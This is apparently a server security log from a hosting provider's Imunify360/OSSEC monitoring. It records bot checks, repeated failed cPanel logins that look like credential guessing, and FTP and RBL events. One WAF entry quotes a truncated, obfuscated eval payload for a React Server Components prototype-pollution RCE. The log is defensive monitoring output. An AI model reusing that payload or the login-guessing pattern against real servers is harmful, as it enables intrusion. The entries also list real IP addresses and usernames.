203.57.50.250 - - [17/Jun/2026:15:11:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6918501&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781709107 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:15:11:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10314397&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781709101 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.120.51.251
country_id: 2635167
description:
[2026-06-17 15:11:51 +0000] info [whostmgrd] 31.120.51.251 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77093094
abuser: 40.114.79.135
country_id: 6252001
domain: biom.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_prefix\":\"var stv=arguments['\\\\x31'];var onomh=stv;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.129
country_id: 1880251
description:
47.128.96.129 - - [17/Jun/2026:15:13:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9922457&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Femmanuel-adebayor-et-santrinos-raphael%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781709196 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/emmanuel-adebayor-et-santrinos-raphael/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.119.196
country_id: 1880251
description:
47.128.119.196 - - [17/Jun/2026:15:12:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921831&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D12369&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781709156 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=12369" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.119.196


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.168
country_id: 1880251
description:
47.128.96.168 - - [17/Jun/2026:15:13:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739674&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fkenneth-et-vera-amoabeng%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781709228 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/kenneth-et-vera-amoabeng/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.168


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-17 15:14:39 +0000] info [cpaneld] 185.55.240.13 - Benito "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Benito (has_cpuser_file failed)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 205.210.31.106
country_id: 6252001
description:
Jun 17 15:15:11 ns5 pure-ftpd[2047243]: (?@205.210.31.106) [INFO] New connection from 205.210.31.106


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.174.100.95
country_id: 6252001
description:
34.174.100.95 - - [17/Jun/2026:15:18:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13211506&pdata=https%253A%252F%252Fsthandling-aero.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781709510 HTTP/2.0" 302 0 sthandling-aero.tg "https://sthandling-aero.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.174.100.95


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-17 15:19:01 +0000] info [cpaneld] 185.55.240.13 - stephaneogou@gmail.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:15:21:09 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:15:21:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.115.171.207
country_id: 3923057
description:
181.115.171.207 - - [17/Jun/2026:15:21:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116744&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fetat-durgence-sanitaireau-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781709694 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/etat-durgence-sanitaireau-togo/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.6223.1073 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.115.171.207


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:15:21:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6593435&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781709714 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-17 15:23:58 +0000] info [cpaneld] 185.55.240.13 - administration "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user administration (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.109.174.183
country_id: 3469034
description:
Jun 17 15:24:17 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.109.174.183 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 34.143.205.198
country_id: 1880251
domain: mail.pnls.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:34.143.205.198||TA:34.143.205.198||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.109.174.183
country_id: 3469034
description:
Jun 17 15:24:25 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.109.174.183 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-17 15:26:20 +0000] info [cpaneld] 185.55.240.13 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.108.165.255
country_id: 3469034
description:
[2026-06-17 15:27:03 +0000] info [cpaneld] 179.108.165.255 - sotra "GET /login/?login_only=1&user=sotra&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotra (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.244.144.25
country_id: 1220409
description:
[2026-06-17 15:26:41 +0000] info [cpaneld] 77.244.144.25 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.185.5.156
country_id: 2017370
description:
[2026-06-17 15:27:05 +0000] info [cpaneld] 31.185.5.156 - sotr "GET /login/?login_only=1&user=sotr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotr (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:15:27:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6710421&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781710033 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:15:27:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7115674&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781710033 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.125.249.236
country_id: 1733045
description:
[2026-06-17 15:26:52 +0000] info [cpaneld] 27.125.249.236 - sotrane "GET /login/?login_only=1&user=sotrane&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sotrane (has_cpuser_file failed)


